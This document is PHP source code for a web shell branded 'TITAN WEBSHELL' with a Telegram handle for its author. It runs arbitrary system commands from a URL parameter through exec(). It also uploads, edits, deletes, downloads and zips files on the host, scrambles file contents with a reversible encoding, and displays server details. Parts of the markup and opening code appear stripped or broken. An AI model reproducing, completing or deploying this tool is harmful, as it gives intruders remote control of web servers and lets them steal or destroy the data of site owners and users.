TITAN WEBSHELL
CWD: '; foreach ($dirs as $dir) { if (php_uname('s') ) { $newdir = $newdir.$dir."/"; echo "" . $dir . "/ "; } } } function fileUpload() { if($_POST['uploadbtn']) { if(!empty($_FILES['zb']['name']) && @copy($_FILES['zb']['tmp_name'], $_FILES['zb']['name'])) { return true; } elseif (empty($_FILES['zb']['name'])) { return false; } else { return false; } } } function showError($error) { echo ' '; if (isset($_POST['ok'])) { echo ""; if (isset($_POST['okk'])) { // pass } } } function shDir($dir) { chdir($dir); } function renameFile($oldname) { echo ' '; if (isset($_POST['changefilename'])) { echo ""; if (isset($_POST['newname'])) { $newname = getcwd() . "/" .$_POST['newname']; rename($oldname, $newname); } } } function removeFile($directory) { if ($_GET['action'] == 'delete') { if (is_dir($directory)) { $files = glob($directory . '/*'); foreach ($files as $file) { if (is_file($file)) { if (unlink($file)) { // pass } else { showError("File delete failed"); } } elseif (is_dir($file)) { removeFile($file); if (rmdir($file)) { // pass } else { showError("Directory delete failed"); } } } rmdir($directory); } elseif (is_file($directory)) { if (unlink($directory)) { // pass } else { showError("File delete failed"); } } } } function downloadFile($file) { if ($_GET['action'] == 'download') { if (!is_dir($file)) { $filename = basename($file); $fileExtension = strtolower(pathinfo($file, PATHINFO_EXTENSION)); $contentType = ''; switch ($fileExtension) { case 'mp3': $contentType = 'audio/mpeg'; break; case 'mp4': $contentType = 'video/mp4'; break; case 'jpg': case 'jpeg': $contentType = 'image/jpeg'; break; case 'pdf': $contentType = 'application/pdf'; break; case 'png': $contentType = 'image/png'; break; case 'gif': $contentType = 'image/gif'; break; case 'mkv': $contentType = 'video/x-matroska'; break; case 'mov': $contentType = 'video/quicktime'; break; case 'exe': $contentType = 'application/octet-stream'; break; default: $contentType = 'application/octet-stream'; } header('Content-Description: File Transfer'); header('Content-Type: ' . $contentType); header('Content-Disposition: attachment; filename="' . $filename . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); readfile($file); } } } function editFile($filepath) { echo ' '; if (isset($_POST['savefile'])) { echo ""; if (isset($_POST['newcontent'])) { $newcontent = $_POST['newcontent']; file_put_contents($filepath, $newcontent); } } } function zipFolder($folderPath, $zipPath) { $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($folderPath), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($files as $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($folderPath) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); return true; } else { return false; } } function newFile() { echo ' '; if (isset($_POST['newfileopen'])) { echo ""; if (isset($_POST['newfilename'])) { $newfilename = getcwd() . "/" .$_POST['newfilename']; if (fopen($_POST['newfilename'], 'w')) { // pass } else { showError('File creating failed'); } } } } function newFolder() { echo ' '; if (isset($_POST['newfolderopen'])) { echo ""; if (isset($_POST['newfoldername'])) { $newfoldername = getcwd() . "/" .$_POST['newfoldername']; if (mkdir($_POST['newfoldername'])) { // pass } else { showError('Folder creating failed'); } } } } function TerminalX() { echo ' '; if (isset($_POST['runcommand'])) { if (isset($_POST['command'])) { echo ""; } } } function SHELL($cmd) { $cmd_res = $output = exec($cmd, $result, $return_val); if ($return_val == 0) { echo ' '; if (isset($_POST['runcommand'])) { if (isset($_POST['command'])) { echo ""; } } } else { echo ' '; if (isset($_POST['runcommand'])) { if (isset($_POST['command'])) { echo ""; } } } } function hasNonEnglishCharacters($string) { $pattern = '/[^A-Za-z0-9!-ß\s]/'; return preg_match($pattern, $string); } function encryptFile($filename) { $content = file_get_contents($filename); if (!hasNonEnglishCharacters($content)){ $newcontent = "*::44:-:66::8++8:35*:11::27::8|8" . str_replace("0", "::-01:|1", str_replace("9", "::-44", str_replace("8", "::-8866::--7/7", str_replace("7", ":_2244_::*1", str_replace("6", ":-1:44::4466", str_replace("5", "8688::-1", str_replace("4", "--44::1", str_replace("3", "!!-FF", str_replace("2", "::+f2", str_replace("1", "::-1", bin2hex($content))))))))))); file_put_contents($filename, $newcontent); } else { showError("Encoding error"); } } function decryptFile($filename) { $content = file_get_contents($filename); $newcontent = hex2bin(str_replace("*::44:-:66::8++8:35*:11::27::8|8", "", str_replace("::-01:|1", "0", str_replace("::-1|::-44", "9", str_replace("::-8866::--7/7", "8", str_replace(":_2244_::*1", "7", str_replace(":-1:44::4466", "6", str_replace("8688::-1", "5", str_replace("--44::1", "4", str_replace("!!-FF", "3", str_replace("::+f2", "2", str_replace("::-1", "1", $content)))))))))))); file_put_contents($filename, $newcontent); } if (isset($_GET['action'])) { if ($_GET['action'] == 'fup') { if (fileUpload()) { // pass } else { showError('File upload failed'); } } } if (isset($_POST['uploadbtn'])) { echo ""; } if (isset($_GET['dir'])) { shDir(hex2bin($_GET['dir'])); } if (isset($_GET['filename']) && $_GET['action'] == 'download') { downloadFile(hex2bin($_GET['filename'])); } if (isset($_GET['dirname']) && $_GET['action'] == 'delete') { removeFile(hex2bin($_GET['dirname'])); } if (isset($_GET['filename']) && $_GET['action'] == 'delete') { removeFile(hex2bin($_GET['filename'])); } if (isset($_GET['filename']) && $_GET['action'] == 'rename') { renameFile(hex2bin($_GET['filename'])); } if (isset($_GET['dirname']) && $_GET['action'] == 'rename') { renameFile(hex2bin($_GET['dirname'])); } if (isset($_GET['filename']) && $_GET['action'] == 'edit') { editFile(hex2bin($_GET['filename'])); } if (isset($_GET['dirname']) && $_GET['action'] == 'zip') { if (zipFolder(hex2bin($_GET['dirname'], hex2bin($_GET['dirname']) . ".zip"))) { // pass } else { showError("Zip creating failed"); } } if (isset($_GET['action'])) { if ($_GET['action'] == 'newfile') { newFile(); } } if (isset($_GET['action'])) { if ($_GET['action'] == 'newfolder') { newFolder(); } } if (isset($_GET['action'])) { if ($_GET['action'] == 'cmd') { TerminalX(); } } if (isset($_POST['consolebtn'])) { echo ""; } if (isset($_GET['cmd'])) { SHELL($_GET['cmd']); } if (isset($_GET['action'])) { if ($_GET['action'] == 'encrypt') { encryptFile(hex2bin($_GET['filename'])); } } if (isset($_GET['action'])) { if ($_GET['action'] == 'decrypt') { decryptFile(hex2bin($_GET['filename'])); } } echo '
'; echo 'Uname: '.php_uname().'
'; echo 'HDD: '.getDiskUsage().' Free: '.getDiskFree().'
'; echo 'Server IP: '.$ServerIP.' Client IP: '.$ClientIP.'
'; echo ''.makeCWD().'

'; echo '
TITAN WEBSHELL
'; echo ''; echo '


'; echo ''; echo '


'; $dir = getcwd(); $files = scandir($dir); $fileList = array(); foreach ($files as $file) { if ($file !== '.') { $filePath = $dir . '/' . $file; if (is_file($filePath)) { $fileSize = filesize($filePath); $fileSizeFormatted = formatSizeUnits($fileSize); $fileCreated = date('d-m-Y', filemtime($filePath)); $filePermissions = formatPermissions(fileperms($filePath)); $fileList[] = array( "filename" => $file, "size" => $fileSizeFormatted, "created" => $fileCreated, "permissions" => $filePermissions, "isFile" => true ); } elseif (is_dir($filePath)) { $fileList[] = array( "filename" => $file, "isFile" => false ); } } } function formatSizeUnits($bytes) { $units = array('B', 'KB', 'MB', 'GB', 'TB'); $i = 0; while ($bytes >= 1024 && $i < 4) { $bytes /= 1024; $i++; } return round($bytes, 2) . ' ' . $units[$i]; } function formatPermissions($perms) { $permStr = ''; if (($perms & 0xC000) === 0xC000) { $permStr .= 's'; } elseif (($perms & 0xA000) === 0xA000) { $permStr .= 'l'; } elseif (($perms & 0x8000) === 0x8000) { $permStr .= '-'; } elseif (($perms & 0x6000) === 0x6000) { $permStr .= 'b'; } elseif (($perms & 0x4000) === 0x4000) { $permStr .= 'd'; } elseif (($perms & 0x2000) === 0x2000) { $permStr .= 'c'; } elseif (($perms & 0x1000) === 0x1000) { $permStr .= 'p'; } else { $permStr .= 'u'; } $permStr .= (($perms & 0x0100) ? 'r' : '-'); $permStr .= (($perms & 0x0080) ? 'w' : '-'); $permStr .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); $permStr .= (($perms & 0x0020) ? 'r' : '-'); $permStr .= (($perms & 0x0010) ? 'w' : '-'); $permStr .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); $permStr .= (($perms & 0x0004) ? 'r' : '-'); $permStr .= (($perms & 0x0002) ? 'w' : '-'); $permStr .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $permStr; } echo '
'; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; foreach ($fileList as $file) { echo ''; $filepath = getcwd() . '/' . $file['filename']; if (is_file($file['filename'])) { echo ''; } elseif (is_dir($file['filename'])) { echo ''; } echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; } echo '
File NameFile SizeCreated TimePermissionsActions
' . $file['filename'] . '[' . $file['filename'] . ']' . ($file['isFile'] ? $file['size'] : '-') . '' . ($file['isFile'] ? $file['created'] : '-') . '' . ($file['isFile'] ? $file['permissions'] : '-') . ''; if ($file['isFile']) { echo 'Edit | '; if (strpos(file_get_contents($filepath), "*::44:-:66::8++8:35*:11::27::8|8") !== false) { if (basename($filepath) !== basename($titan) ) { echo 'Decrypt | '; } } else { echo 'Encrypt | '; } echo 'Rename | '; echo 'Download | '; echo 'Delete'; } elseif ($file['filename'] != "..") { echo 'Zip | '; echo 'Delete | '; echo 'Rename'; } else { echo '-'; } echo '
'; echo '
'; echo ' New File | '; echo 'New Folder'; echo '
'; echo '
'; echo '
Telegram : @N0NL0C4L
'; echo '
'; ?>